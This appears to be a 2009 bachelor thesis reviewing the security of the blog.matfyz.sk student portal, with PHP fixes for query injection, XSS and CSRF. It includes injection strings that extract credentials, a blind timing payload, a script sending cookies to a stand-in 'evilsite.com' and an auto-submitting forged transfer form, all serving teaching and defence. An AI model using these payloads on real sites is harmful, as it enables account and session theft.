Department of Informatics
Faculty of Mathematics, Physics and Informatics
Comenius University, Bratislava

Security Assessment of `blog.matfyz.sk`

(bachelor thesis)

Martin Králik

Advisors: Martin Homola, Jozef Šiška

Bratislava, 2009

I hereby declare that I wrote this bachelor thesis by myself, only with the help of the referenced literature, under the careful supervision of my thesis advisor.

. . . .

Abstract

`blog.matfyz.sk` *is a community website providing blogs for students. Lack of its developers' awareness led to numerous security flaws. We have reviewed its source code and patched all found vulnerabilities. In addition, we provide specific guidelines for further development. These rules should ensure appropriate quality of new additions to the code.*

Keywords: security, cross site scripting, query injection, XQuery, cross site request forgery

Abstrakt

`blog.matfyz.sk` *je komunitný internetový portál, ktorý študentom poskytuje možnosť blogovať. Jeho doterajší vývojári neboli dostatočne uvedomelí po bezpečnostnej stránke, čo viedlo k mnohým chybám. Prezreli sme celý zdrojový kód tohto portálu a opravili sme nájdené zraniteľnosti. Taktiež sme spísali pravidlá, ktoré majú usmerniť programátorov pri ďalšom vývoji. Tieto pravidlá by mali z bezpečnostného pohľadu zabezpečiť kvalitu novopridaného kódu.*

Kľúčové slová: bezpečnosť, cross site scripting, query injection, XQuery, cross site request forgery

Contents

Chapter 1

Introduction

Since more and more services are provided by web applications, importance of their security is rising. Despite this fact security is frequently underestimated[Hos08][TAS08]. Main risks include sensitive data exposure, identity theft, loss of privacy and damage to reputation. Security is essential to avoid all of these risks. A site which still ignores importance of this aspect can expect loss of its users as they migrate to another site with similar services and better security.

`blog.matfyz.sk` is a community website providing blogs for students. It is also used in the course Modern Approaches to Web Design for evaluating its participants[HK09]. This portal was developed as a master thesis. More features were added as a result of another bachelor and master theses. They were mainly focused on functionality and security was not their primal concern. This resulted into increased number of security related bugs. This state was indeed undesired because our users' data and our good name were put in a risk.

We took a closer look on the portal implementation, hunted down bugs and patched them. Guidelines for developing secure code were written as well. They should help current and future developers to produce quality code which does not suffer from security flaws. As a result, the portal's security is greatly improved and the risk exposed in users' data should be very limited.

This thesis is divided into seven chapters. In the second chapter we provide look under the hood of `blog.matfyz.sk`. Third chapter contains information about common security vulnerabilities. In the fourth chapter we discuss available methodology for vulnerability spotting. Specific solutions for defects that we found are presented in the fifth chapter. The sixth one consists of proposed guidelines. We summarize the work in the seventh chapter.

Chapter 2

General information about portal

This chapter briefly presents general information about our portal. Namely, how the portal is being developed, which technologies are involved and what kind of user roles we use.

2.1 Development

Currently, we are a team of seven developers. At this size of the team maintaining source code is not an easy thing. Therefore we employed a version control system, which stores all versions of our source code. It solves all common problems, as overwriting other's code and reverting back to previous version of code if the current has some serious problems.

Our development is ongoing in the same environment as on the production server. We use separate subdomain for this purpose. The main difference between these two versions (apart from new features) is in the constant `DEBUG`. It is used as an indication whether we are on a site used for development. When set to "true", various messages as page generation time and executed queries are displayed in order to help debugging and optimizing code.

When enough updates have been made and tested on the development branch, we push them to the live version.

2.2 Programming language

Websites logic is programmed in PHP. PHP is a scripting language designed for building dynamic webpages. It is imperative and object-oriented, uses dynamic weak typing and has syntax like C. It runs as module for web server, processing incoming requests and generating output. Among it's main features are a vast user base, really helpful documentation and great number of extensions for all purposes. Its name is a recursive acronym which means "PHP: Hypertext Preprocessor".

PHP is often considered as a "bad" language because of many flawed scripts/applications written by unexperienced developers. The truth is that is caused by it's steep learning curve, starting writing PHP code is very easy. As a result, it is attracted by many, but that cannot be taken as disadvantage.

2.3 Output generation

Our XHTML is generated by applying XSL[1] transformations to the data in XML format.

These transformations can be carried out on either server or client side. The first option protect source files, since end user gets only formatted output. On the other hand, the second one lowers server load, because modern browsers are capable of doing XSLT. We do not want to expose our templates and source data, so we decided on server-side solution.

2.4 Storage engine

We picked native XML database, abbreviated as NXD, Sedna as our main storage engine. The major difference, when compared to the traditional relational databases, is that NXD uses XML documents as the fundamental unit of storage. Data is manipulated using XQuery instead of SQL queries, and the result is (mostly) XML.

We made this choice because of the output generation. It seemed right to store XML data in XML database.

[1]extensible style sheet language

2.5 User roles

Our portal provides its services for everyone. However, it is closely related to our faculty, therefore most of our users are its members.

We have four types of users:

- Unregistered users. This type is default and the most common type of user. In addition to the reading she can add discussion posts and vote for articles.
- Registered users. This is the second level of users. Registered user can write her own blog, upload files and does everything that unregistered user can do. Any unregistered user can sign up and become registered user.
- Course members. They are students who enroll in course "Modern Approach to Web Design". They have to use their own design generated by their own XSLT template. They have to add all discussion posts and blog posts in XML format conforming to the supplied Document Type Definition. These students do not have any additional permission when compared to registered users.
- Administrators. This category also includes developers. They can do virtually anything. User may advance on this level if she wants to improve our portal by contributing to its source code.

Chapter 3

Common security vulnerabilities

In this chapter, we will present common security vulnerabilities, specifically, how they work and how to defend against them. They were picked according to the OWASP Top 10 Web application vulnerabilities[vdSWW07] with respect to the used technologies.

3.1 Query injection

Every dynamic website uses some kind of database to hold its data. This data is stored and retrieved with a specific query language which differs from database to database.

We will explain this vulnerability on relational database which uses SQL, but the root of this problem is the same regardless of the storage engine.

3.1.1 Explanation

Situation where an user can insert her own input into a SQL query outside a delimited string is called a SQL injection. Let us have a look at this example:

```
<?php
/* ... */
  // a new user is being registered, so we put him into the database
  $login = $_POST['login'];
  $pass = $_POST['pass'];
  $db->query("INSERT INTO users (username, password, admin) VALUES
      ('".$login."', SHA1('".$pass."'), 0)");
/* ... */
?>
```

This implementation is flawed. What happens when an evil user tries to register with username "`llama', SHA1('password'), 1)/*`"? She will terminate the string in the query right after word "llama", and the rest of it will be treated as normal part of the query: `INSERT INTO users (username, password, admin)VALUES ('llama', SHA1('password'), 1)/*', SHA1('somepass'), 0)`
The last part will be commented out, because `/*` is mark for starting a comment area in the most of query languages, and she will gain administrative rights.

In the previous example an attacker would not have much chance without some deeper knowledge about the targeted system. `SELECT` statements are usually easier to exploit. Let us have a look:

```
<?php
/* ... */
  // select all salaries for non-managers from the chosen department and
      display them
  $deptId = $_POST['department_id'];
  $results = $db->results("SELECT name, salary FROM salaries WHERE
      manager = '0' AND dept = '".$deptId."'");
  foreach ($results as $row) echo $row['name'], ': ', $row['salary'
      ], '$<br/>';
/* ... */
?>
```

The simplest attack vector would be "`' OR '1'='1`", so this query would be executed: "`SELECT name, salary FROM salaries WHERE manager = '0'AND dept = ''OR '1'='1'`". This results in displaying salaries for all employees, disregarding their department and position[1]. But it does not stop here. Suppose we store users' credentials in table `users`, which has two columns, `login` and `password`. If a hacker has somehow managed to obtain information

[1] `AND` is evaluated before `OR`

about our database schema, she can acquire this sensitive data by submitting this string: "`-1' UNION ALL SELECT login, password FROM users/*`". If users' passwords were stored in plaintext, we would be in a big trouble.

Obtaining a query structure and database schema is not as hard as it might appear. Column number can be found out by injecting "`ORDER BY N`". `N` defines which column will be used for sorting, so query will fail if it is greater than number of selected columns. That means if we inject "`1' ORDER BY 1/*`" or "`1' ORDER BY 2/*`" into the query from previous example, it is executed without problem, because we are retrieving two columns, `name` and `salary`. However, if we inject larger column number than 2 the query does not execute and fails with a syntax error.

So discovering number of columns in `SELECT` statement is a straightforward process. We will gradually increase column number used for ordering until error is triggered. That means we found out what we were looking for.

There is a similar situation with the schema - in the majority of cases it is not hard to discover. MySQL, since version 5, offers a database called `Information Schema`, which contains description of all tables, columns, users, etc. For example, we can get a list of all tables using this injected query:

```
SELECT name, salary FROM salaries WHERE manager = '0'AND dept = '-1'
UNION ALL SELECT table_name, null FROM information_schema.tables/*'
```

MSSQL has a similar feature, table named `sysobjects`.

Until now, we assumed that the targeted website "helps" us in the attack by displaying a different content depending on the validity of a query. There are more possible types of behaviour. In the case of error, it may display some message containing the whole query, thus making hacker's life easier. We can encounter situation in which a server's response is the same no matter what. This situation is common with a statement that does not return a result – which is basically every except `SELECT`. But even this does not stop a hacker from exploitation. He can use technique labeled "blind SQL injection".

In this approach time is used instead of visual information. Query duration can be estimated from the time of a page generation, and almost every database has a feature that can delay query execution. We will illustrate this on a MySQL query:

```
    SELECT name, salary FROM salaries WHERE manager = '0'AND dept = '
'AND IF(EXISTS(SELECT * FROM users),BENCHMARK(1000000,MD5(1)),1);'
```

If table `users` does not exist, the query will fail immediately, and a page will be rendered at normal speed. On the other hand, if table `users` does exist, the query will execute. Calculating MD5 hash milion times in a row takes a while, so page will be generated noticeably slower. Our situation is therefore similar to the one with error reporting. We will obtain only one bit of information, but it is sufficient for successful exploitation.

3.1.2 Motivation

Most of the time, data is a main point of interest. Therefore SQL injection is a very dangerous vulnerability because it provides an attacker full access to the data.

It may lead to compromising login credentials of privileged accounts, leading to further damage to the webpage and/or its users.

3.1.3 Protection

The root of all problems lies in inserting an user input into queries as is without any check for characters with a special meaning. These characters have to be escaped to prevent jumping out of a string. Every database uses some character to do this job[2] and provides function for escaping in a PHP extension. It may not be sufficient to use `addslashes` because it does not take into account all enviroment variables, such as connection encoding [Shi06].

A better approach than manually escaping is using prepared statements. It does not mean that the first method is flawed, but it is more likely to make a mistake there. Prepared statement is a query with wildcards in places where supplied input will go. It can be implemented on either database or PHP side. We will explain the second option.

PHP provides multiple ways. Every database extension has methods for creating and using prepared statements. There is also PDO[3] extension which defines a lightweight, consistent interface for accessing databases in PHP and supports prepared statements. Following code from PHP manual[Ols] is using `mysqli` class for database manipulation and demonstrates how these statements work. Question marks represent wildcards. They will be replaced by actual data. It is done using method `bind_param()`, which accepts two parameters. Data type is described by the first parameter – “i” means integer, “d” is double, “s” is string and “b” corresponds to blob. Wildcard will be

[2]In the majority it is a backslash.

[3]it means PHP Data Objects

replaced with value supplied as the second parameter. After query is executed result is retrieved using method `bind_result()`. It directly assignes returned fields into variables.

```php
<?php
$mysqli = new mysqli("host", "username", "password", "database");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}
$city = "Amersfoort";
/* create a prepared statement */
if ($stmt = $mysqli->prepare("SELECT District FROM City WHERE Name
    =?")) {
    /* bind parameters for markers */
    $stmt->bind_param("s", $city);
    /* execute query */
    $stmt->execute();
    /* bind result variables */
    $stmt->bind_result($district);
    /* fetch value */
    $stmt->fetch();
    printf("%s is in district %s\n", $city, $district);
    /* close statement */
    $stmt->close();
}
/* close connection */
$mysqli->close();
?>
```

Query with more than one wildcard and more than one requested column can be done this way:

```php
<?php
/* ... */
  $country = 'Slovakia';
  $population = 100000;
  $stmt = $mysqli->prepare("SELECT Name, ZIP FROM City WHERE Country
      =? AND Population>?");
  // in fact, this function takes arbitrary number of argument
  // first parameter describes types of all other inputs
  $stmt->bind_param("si", $district, $population);
  $stmt->execute();
  // this function also takes arbitrary number of argumnets
  // their number must match number of requested columns
  $stmt->bind_result($name, $zip);
  while ($stmt->fetch())
  {
    echo 'found city ', $name, 'with ZIP=', $zip;
  }
/* ... */
?>
```

Commonly used PHP functions for query execution do not support stacked queries. That means you cannot have multiple statements in a query like this: "`INSERT INTO salaries (name, salary, manager, dept)VALUES ('Dave', '3000', '0', '47'); UPDATE salaries SET dept = '42'WHERE salary < 2000;`". It has an obvious advantage – a hacker can not delete your data if you do not have a vulnerability in DELETE or DROP queries, which are quite infrequent. PHP has functions designed for stacked queries for MySQL, so if you use them, double check whether you are doing it right.

3.2 Cross site scripting

3.2.1 Explanation

Cross-site scripting, abbreviated as XSS[4], is a type of script injection. Basically it is an injection of malicious script into trusted site, executed on the behalf of victim. The script can be written in JavaScript or VBScript. We will stick to the JavaScript because it is more widespread than the other, and they are very similar. XSS attack can result into identity and data stealing or

[4]X is used to prevent confusion with CSS.

further social engineering. These possibilities will be discussed in subsection 3.2.2.

Cross-site scripting attacks can be divided into two categories - reflected XSS and stored XSS. Reflected XSS is a situation where a script is injected into a page through a parameter in some type of user request, such as clicking on a link. Due to its nature the victim must be tricked into this interaction, mostly by some kind of social engineering. Malicous code is usually a visible part of the link, so it's in attacker's concern to obfuscate it. She can encode the url, use some kind of url shortening web service, utilize found open redirects, or use any combination of these techniques. An exploit alone can be obfuscated even more. Dynamic scripting languages provide vast amount of possibilities, namely because of function `eval`, which interprets its input as a javascript code.

In the worst scenario from victims point of view, no one will find out what exactly happened, because there is no trace left on server.

The following code is typical example of such vulnerability – majority of websites suffers from displaying a searched term "as is".

```php
<?php
/* ... */
  if (isset($_GET['search']))
  {
    echo "Search results for: ", $_GET['search'];
  }
/* ... */
?>
```

Therefore, if user has supplied "`<script>document.body.innerHTML='<h1> HACKED!</h1>';</script>`", it is immediately printed on page and evaluated. As a result she sees message "HACKED!" insted of normal page content.

When a malicious script is stored on a server, we call it persistent XSS. It can be saved into database, file, or any other type of storage. Its main advantage is that this is not a one-shot attack. It is active as long as the code stays in database and the website has some hole, which allows its injection and execution. Large audience can be easily affected if the targeted page has high traffic. On the other hand anyone can analyze this exploit and understand what is going on. It will not prevent execution, but it can help tracing down the attacker.

This example is a simple page with a guestbook which uses database for storing posts.

```php
<?php
/* ... */
  if (isset($_POST['message']))
  {
    // if new post was submitted insert it into database
    $message = $db->escape($_POST['message']);
    $db->query("INSERT INTO posts (time, message) VALUES (
        UNIX_TIMESTAMP(), '".$message."')");
  }

  // load all posts from database
  foreach ($db->results('SELECT * FROM posts ORDER BY time DESC') as
      $post)
  {
    // display loaded post
    echo $post['time'], '> ', $post['message'], '<br/>';
  }
/* ... */
?>
```

The exploit could be the same code as for reflected XSS example. The main difference here is that this one is displayed every time someone visits this guestbook.

3.2.2 Motivation

So far, our "malicious" code in the previous subsection did virtually nothing. At first sight, it seems that XSS is pretty harmless. However, that is not true. With javascript you can change page's appearance in any way you like. For example, an attacker could create a form that looks exactly as a login form with additional message "Session timed out, relogin please". An unsuspecting victim will probably enter her credentials which will be silently submitted to the attacker's logging site and the form with the message will disappear. This submit is not done through normal formular submit, but through image's `src` attribute:

```
<script>
  // create new image element
  i = new Image(1,1);
  // set its location to logging site
  // url will contain information about cookies
  // request is made immediately after this assignment
  i.src = 'http://evilsite.com/logger?' + document.cookie;
</script>
```

Another attacker's point of interest are cookies. Webpage has to know which request is from who and because HTTP is a stateless protocol, it marks its users with cookies. If you have logged in and you had `SESSID=64647846` in your cookies, the site will remember that user with this session id is you. If someone else has managed to obtain this same cookie, the site cannot tell the difference between you and her. That practically means that she has stolen your identity. This attack works until logout, when webpage deletes information linked to your session id. A fast attacker can cause some serious trouble, if a logged user can carry out critical operations without further authentification. For illustration, password change can be considered critical. Unfortunately, users often forget to logout.

3.2.3 Protection

Displaying no user-generated content would be the ultimate solution. Needless to say, this option is possible only when we are discussing static pages. In the case of dynamic pages with non-trusted content, it is sufficient to follow two rules:

1. Insert user-supplied input only in context where it can be safely escaped and cannot break out of context. This is for example html attribute, text node or javascript string. Bad idea would be inserting user input into a html tag or attribute name.

2. Inserted content must be escaped according to the context. Value inserted into html attributes and text nodes should be escaped using function `htmlspecialchars($value, ENT_QUOTES, "utf-8")`. However, it applies only to basic attributes, event handlers and resource

locators (like `href`, `src`) need another type of encoding. Input converted with `json_encode` is suitable for javascript value.

More comprehensive list of safe contexts can be found at OWASP's page dedicated to the XSS[DWW].

We could fix the first example by replacing line 5 with:

```
echo "Search results for: ", htmlspecialchars($_GET['search'],
    ENT_QUOTES, "utf-8");
```

And the second would be fixed by this change at line 14:

```
echo $post['time'], '> ', htmlspecialchars($post['message'],
    ENT_QUOTES, "utf-8"), '<br/>';
```

Fortunately, users can defend themselves against XSS. Firefox extension "No-Script" uses a whitelist for enabling javascript on websites and even stops execution of suspicious looking scripts. Its filters are good and frequently updated. In addition, it also protects against some rare attacks. It is quite restrictive for average user in its default installation. However, we would recommend using it even with everything allowed, because of its XSS detection which works always.

Internet Explorer starting with version 8 offers bundled protection against XSS. However, it prevents only reflected XSS but it is better than nothing. Various solutions for Opera inspired by NoScript also exist but none of them is as convenient as NoScript.

3.3 Cross site request forgery

3.3.1 Explanation

Cross site request forgery works this way: victim logs into her internet banking and makes some transactions. For simplicity's sake, suppose money transfers are made by submitting the following GET request:

`http://mybank.com/transfer.php?from=victim&to=mom&amount=1000`

After few transactions, victim forgets to log out and continues browsing. Eventually, she will open attacker's site. This site contains image tag with `src="http://mybank.com/transfer.php?from=victim &to=hacker&amount=9999"`. It means that browser will make a request on that url in a good faith of finding some image, but instead, money will be transfered, although the user may have already closed the tab with internet banking.

This type of attack is possible because a webpage does not know where an incoming request originates. It is another effect of HTTP's statelessness.

3.3.2 Motivation

Attacker may use this technique mainly for two things:

Privilege escalation – as shown in the example with a bank, victim may be tricked into carrying out operations which attacker cannot.

Hiding evidence – request made by the victim can trigger another exploit. For example it can inject malicious javascript if the targeted portal has persistent XSS vulnerability. In that case, it would be very hard to detect the original attacker, because payload was inserted by another user.

3.3.3 Protection

At first, it is important to say that converting form's method from `GET` to `POST` won't help at all. `POST` forms can be hidden on the page and submitted with javascript, like this:

```
<html>
/* ... */
  <div style="display:none;">
    <form action="http://mybank.com/transfer.php" method="post" name
        ="myForm">
      <input type="text" name="from" value="victim" />
      <input type="text" name="to" value="hacker" />
      <input type="text" name="amount" value="999999" />
      <input type="submit" value="submit" />
    </form>
    <script type="text/javascript">document.myForm.submit();</script
        >
  </div>
```

```
/* ... */
</html>
```

The best way to know whether a request is from your site is to use a secret token. Every form will be marked with this token. It will be contained in extra hidden input. When a form gets submitted, received token is compared with a stored token. If they match, it means that the request was legitimate, otherwise it was not. A token must be unique for each visitor, hence nobody can make requests in someone other's name. In addition, it should be unpredictable and long, to prevent brute force attacks through enumeration of all possible tokens.

A token inserted into a form is protected from stealing. If an attacker wants to steal an authenticated user's token, she has to gain access to some page containing this token. She may load our page in an `iframe` on her site and lure the user in order to get the token by accessing it with help of javascript. However it will not work because browsers do not support cross-domain javascript requests. It is called "same origin policy". That means a script located on the page cannot access content of `iframe` on that very same page unless their domain match. AJAX cannot be used for this purpose as well because it is also affected by same origin policy.

Server's token can be stored in many ways.

In the first place, it could be inserted into a database. This approach is one of the slowest, but it has one advantage – unique token can be used for every generated form. On the other hand, the token can be stored in session.

Other type of protection is based on referer*[sic]* checking. When browser makes a request, it adds url from which that request originated into the headers it sends to the server. This is called a referer. It may seem that it is sufficient to check whether the referer is from your site. That is not true. We described normal behaviour of browsers, but in fact referer can be altered by user. She can have various reasons for doing so – for example to increase her privacy. That means recieved referer cannot be trusted and used for protection against CSRF.

If site has a XSS vulnerability, all of these protections are obsolete because then the attacker has access to any secret token used, and the referer is normal – not from outside.

Users can protect themselves by using one browser for sensitive operations and trusted webpages and another for general browsing.

Chapter 4

Vulnerability discovery methods

The best solution for our state would be to employ certified penetration tester or security expert to do a full security audit. It has one disadvantage – it is expensive and we cannot afford it. That means we have to do it on our own.

Vulnerability discovery methods can be divided into two types – whitebox security testing and blackbox security testing. The aim of these tests is to detect any abnormal behaviour which may lead to the system exploitation.

Following comparision is based on whitepaper published by Cenzic, Inc.[Cen09].

4.1 Whitebox testing

Whitebox security testing is testing with full access to the source code. It can be further divided into automatic and manually.

Automatic whitebox testing works similar to the spell checker software. It looks for predefined patterns which are considered as marks of a potential dangerous code. Then it presents its search results to the tester whose task is to closely examine them and evaluate their relevancy. Advanced tools can even track data flow in the application what can result in less false positives and discovery of more complex flaws.

This approach has two main advantages:

- It can point at an exact line in the source code what makes patching easier.

- Application can be tested from early stages of its development. It educates developers in writing more secure code. When they learn their mistakes they will avoid doing them again.

Manual whitebox security testing is practically a code review. Outcome of this process depends on the skills of a reviewing person. When done properly, it can discover complicated design flaws which cannot be found out any other way.

4.2 Blackbox testing

In this type of security testing the whole application is a backbox for us. That means we do not know how it works. The only thing we can do is supply an input and expect some response. It does not sound much better than whitebox testing, but it has its bright sides:

- It can be quite successful in detecting generic vulnerabilities, like XSS, CSRF, query injections, because it is clear what is a successful explotation.
- It simulates real world attacks.
- It does not matter if an application is simple or build from many various components. It can find vulnerabilities in the whole data flow.
- It is a better choice for testing deployed application. Whitebox testing would produce too much false positives and is not able to follow complex systems.

4.3 Employed technique

After quick research, we found out there are only few whitebox security scanners for PHP. We tried two of them, but their results were not satisfying. Therefore we decided to do manual source code review, which can discover almost every flaw. On the other hand, it is rather slow and can be tedious.

There are many more blackbox scanners. The main reason is they do not depend much on used technology and implementation details. However, they focus on the most common vulnerabilities like SQL injection and XSS, which inherently were not problems in our portal. These scanners also excel at detecting used software and it's known holes. Since we had full access to the source codes and portal was build from a scratch, this also was not an issue.

Chapter 5

Found vulnerabilities

Vulnerabilities of several types were found. We managed to fix all of them. Table 5.1 on page 22 summarise results of this work. Each of them with corresponding solution is closely presented in the following text.

5.1 XQuery injection

We used XML based database Sedna instead of commonly used MySQL. Problem with input sanitization still persists, only this time, we do not have high level functions for escaping or prepared statements. We have to do it manually.

There are two types of special characters. The first group are characters with special meaning in XML. Specifically, they are `<`, `>`, `"`, `'`, and `&` [1]. They should be converted to entities.

An entity consists of its name surrounded by an ampersand and a semicolon. For example, entity for "less then" is "&lt;". Entities are used as placeholders for characters or strings which are difficult to write or have special syntactic meaning. Function `htmlspecialchars()` does exactly what we need – convert "troublesome" characters into entities. It accepts three additional arguments after the string which will be converted.

The second parameter specifies what will be done with single and double quotes. There are three options:

`ENT_COMPAT` – only single quotes are converted.

[1]used as opening tag, closing tag, opening and closing attribute (twice) and entity start

Vulnerability	State	Solution
Cross site scripting	not vulnerable	—
Query injection	over 150 vulnerable queries	proper escaping
Cross site request forgery	every single form vulnerable	secret token
Open redirects	found	outgoing URLs not accepted
File upload	arbitrary file can be rewritten	constraint on filename
Unauthorised access	nonmembers can use XML services	role checking
Password management	database with default blank credentials	credentials changed
XML services	DTD injection	reliable DTD checking

Table 5.1: Found vulnerabilities

`ENT_QUOTES` – both single and double quotes are converted.

`ENT_NOQUOTES` – no quotes are converted.

The second option fits our needs.

The third argument defines characet set used in this conversion. We will use UTF-8 because the whole application manipulates with UTF-8 strings.

The last argument is called "double_encode". This function will not encode existing entities is we set it to "true". It mean "`&amp;`" will not became "`&amp;amp;`". We want to convert all special characters to corresponding entities, so we will leave this parameter to it's default value "false",

In addition to these, XQuery uses curly braces for switching between XML and to-be-evaluated parts of a query. This is a good feature because it allows us to transform returned XML and modify data in a database. XQuery in the next example uses this syntax to generate cache for users' posts. It stores all posts with title beginning with "A" into specified node.

```
update replace $i in collection("weblog")/cache/posts/a
with
  <lastmessage>
    \{collection("weblog")/user/post[substring(title,1,1)='A']\}
  </lastmessage>
```

On the other side, we do not want anyone other to use and abuse this feature.

XML databases provide a solution. If a brace is doubled, it will lose its special effect and the database will take it as a single brace without any special meaning. A difference between a vulnerable and a secured query can be observed on this code:

```
<?php
  /* ... */
  // this query changes current user's email to supplied value
  $xmldb->query('update replace $i in collection("weblog")/user[@ID
      ="'.$this->getID().'"]/info/email with <email>'.$email.'</
      email>');
  /* ... */
  // this query retrieves current user's email
  $mail = $xmldb->retrieveTextNode('collection("weblog")/user[@ID="'
      .$this->getID().'"]/info/email');
  // retrieved email is displayed
  echo 'Your email is:', htmlspecialchars($mail, ENT_QUOTES, 'UTF-8'
     );
  /* ... */
?>
```

If a malicious user supplied “`{collection("weblog")/user[@ID="1"]/info/password/text()}`” as input and we had no protection, this would be executed:

```
  update replace $i in collection("weblog")/user[@ID="u47"]/info/
     email
  with <email>{collection("weblog")/user[@ID="1"]/info/password/text
     ()\}</email>
```

That means his email would become another user’s password, or more likely only a hash of a password, since storing passwords in plaintext is a very bad practice. If we did not forget to sanitize input, his email would change to “`{collection("weblog")/user[@ID="1"]/info/password/text()}`”.

These braces do not have any special meaning inside XPath, so escaping them there does not have much sense. Doubled brace in XPath is simply doubled brace.

To secure our blog, we constructed a function to prepare an untrusted data for insertion into a query. This function differs whether we are escaping for XPath or not, based on its second argument. Its source code can be found in section 6.1 which deals with transparent manipulation with Sedna.

We had to use this function in every line of code where a query was being created. The fastest way to do this was to find all queries and manually secure them. The next step was educating other developers of `blog.matfyz.sk` to employ this function, so we could avoid making this mistake over and over again. The portal had almost all queries open to injection before.

5.2 Cross site scripting

Our utilised technology, namely XML and XSLT, gained us an advantage over “plain” HTML generation in protection against XSS. In XSL transformation, various output methods can be used. These methods affect how XSLT processor will output the resulting XML.

There are tree basic methods – xml, html and text. We use the first one. It aims to produce well-formed XML. This goal is achieved by escaping all characters with special meaning in the text nodes into their equivalent XML entities. With no user-supplied tag soup, X(HT)ML will remain valid. There is no point of changing the output method because document's structure is represented by a XSL template and supplied data represents soon to be transformed XML.

We can stand this behaviour because our normal users are not allowed to post any HTML content. On the other hand, they demand at least some options to include links, images, headers, etc. These features are provided by DokuWiki-like syntax.

Generated HTML is searched for `divs` with `class=formatted`. Then the content of these `divs` is transformed from DokuWiki syntax to HTML with use of regular expressions. This method is safe, if the processed text sticks to these rules:

- Output must be well-formed XML. If it is not, it will be very hard to predict how the result is rendered because of different rendering engines employed by major browser vendors. They try to render even non-valid code, otherwise larger part of websites will not display.
- Users can use tags only from a selected subset. This rule is clear – some tags could produce further problems, like `script`.
- User can use only allowed attributes. It will protect us from exploiting event handlers such as `onclick="alert(1)"`.
- An attribute's value cannot be arbitrary in special cases where it would be possible to execute some script. Here is an example of such an attribute: "`<a href="javascript:alert(1)">link</a>`". When a user clicks on this link an alert window is displayed.

The first version of our regular expressions allowed breaking these rules, namely the first and the fourth. We have enforced the first rule by loading generated XHTML into a `SimpleXMLElement` object. If it fails, then the result is not well-formed XML. The other rules are established by the used regular expressions. Insufficient inspection of supplied URL was the most common problem. There was no validation whether it is really an URL or not. Nowadays only URLs beginning with `http://` or `https://` are accepted.

Following code presents fundamental parts of this transforming function:

```php
<?php
/* ... */
 function formatBlock($text)
 {
   $text = trim($text);
   // we have nothing to do if input is empty
   if (strlen($text)==0) return "";

   $originalText = $text;

   /* apply DokuWiki syntax */
   // ...
   // add images
   $text = preg_replace("!{{ (https?:[^}\s]*)\?(\d+)x(\d+) }}!U",'<img src="$1" width="$2px" height="$3px" class="imgCenter" alt=""/>', $text);
   $text = preg_replace("/{{ (https?:[^}\s]*)\?(\d+) }}/U",'<img src="$1" width="$2px" class="imgCenter" alt="" />', $text);
   // ...

   // add links
   $text = preg_replace("!\[\[(https?://.*)\|(.*)\]\]!Us",'<a href="$1" >$2</a>', $text);//
   $text = preg_replace("!\[\[(https?://.*)\]\]!Us",'<a href="$1" >$1</a>', $text);
   // ...

   // add styles
   $text = preg_replace("|\*\*(.*)\*\*|Ums","<strong>$1</strong>", $text); // bold
   $text = preg_replace("|([^:])//(.*)//|Usm","$1<em>$2</em>", $text); // italic
   $text = preg_replace("|__(.*)__|Ums","<u>$1</u>", $text); // underline
   // add headers
   $text = preg_replace('@^(======+)(.*)\1 *(?=\s|$)@m',"<h2>$2</h2
     >", $text);
   $text = preg_replace('@^=====(.*)=====(?=\s|$)@m',"<h3>$1</h3>",
      $text);
   $text = preg_replace('@^====(.*)====(?=\s|$)@m',"<h4>$1</h4>",
     $text);
   // ...

   // add smilies
   $text = str_replace(":-)",'<img src="css/emoticons/icon_smile.
     gif" alt=":-)" />',$text);
   $text = str_replace("8-)",'<img src="css/emoticons/icon_cool.gif
     " alt="8-)" />',$text);
   $text = str_replace(";-)",'<img src="css/emoticons/icon_wink.gif
     " alt=";-)" />',$text);
   // ...

   // add other features as syntax highlighting , youtube video, ...

   // check well formness
   if (!simplexml_load_string(str_replace('&nbsp;', '&amp;nbsp;',
     $text), null, LIBXML_NOERROR))
   {
     // result is not well-formed, do not apply transformation , just
       change newlines to <br/>
     return '<div class="dokuWiki dokuFail">'.nl2br($originalText).
       '</div>';
   }
   else return $text;
 }
/* ... */
?>
```

Live preview generated by showPreview.php was modified in order to notifiy user when his syntax is incorrect:

```
  // format supplied text
  $formattedText = $dokuWiki->formatBlock($text);
  // check whether formating process failed
```

```
if (strpos($formattedText, '<div class="dokuWiki dokuFail">') ===
    0)
{
  // display warning
  echo '<div style="color:red"><i>Error in your DokuWiki syntax.
      Correct it or it won\'t be applied.</i></div>';
}
echo $formattedText;
```

Course members have a different method for posting their content. They have to directly use XHTML but it is validated against our DTD. They also have to use their own XSLT for transforming XML data into styled webpage. According to the Unidex Inc.[Lyo08] XSLT is Turing-complete. As a result of Rice's theorem we cannot tell anything about any non-trivial property of this transformation.

This would not be so bad because we are doing this transformation server-side and thus we see the result. A bigger problem is that we allow course members to use javascript in order to achieve nicer layouts. Javascript is also Turing-complete. That means we can not know whether a script in their template is malicious or not.

The only way to mitigate this risk is to tell course members they have this power and trust them. They may be warned that if they do something evil, they can be expelled from the course and their reputation will be damaged.

Moreover, our site is partially protected against session stealing. Session is tied to the IP address and user-agent string hence even if attacker managed to steal victim's cookie, it would be useless, unless they share the same IP address and web browser.

5.3 Cross site request forgery

Our portal had no protection against CSRF at all. Locating every form generating and handling routines in its rather complicated structure would be too cumbersome. Since output HTML is generated with XSL transformation at once, We chose a different approach based on solution from Jakub Vrana[Vra09]. Page ready for output is scanned for all forms with a destination on our blog and each one is injected with an extra field containing the token. To ensure this token is not submitted outside our site the form's `action` attribute is verified. This is done with the use of a regular expression as can be seen in the following snippet:

```php
<?php
/* ... */
  function add_csrf_tokens($html)
  {
    $hidden = "<div style='display: none;'><input type='hidden' name='csrf_token' value='".$_SESSION['csrf_token']."' /></div>";
    return preg_replace('~<form\\s+(?![^>]*\\baction=[\'"]?(?:https?://(?!(?:[^\.\/]*\.)?'.preg_quote(BASE, '~').')|//))[^>]*\\bmethod=[\'"]?post[^>]*>~i', "\\0\n".$hidden, $html);
  }
/* ... */
?>
```

The used regular expression looks for formulars which use POST method and their action contain only three types of url:

- Url which starts with http(s) and our portal's name, which is defined in a constant named `BASE`.
- Url which does not start with http(s).
- Url which does not start with two backslashes.

Any other url is leading away from our portal, so we will not add hidden field with secret token.

The second part of this protection consists of veryfing token in every received POST:

```php
<?php
/* ... */
  function csrf_protection() {
      if (session_id()) {
          // generate secret token if it does not exists
          if (!isset($_SESSION["csrf_token"])) {
              $_SESSION["csrf_token"] = rand(1, 1e9);
          }

```

```
        // check token if POST request was detected
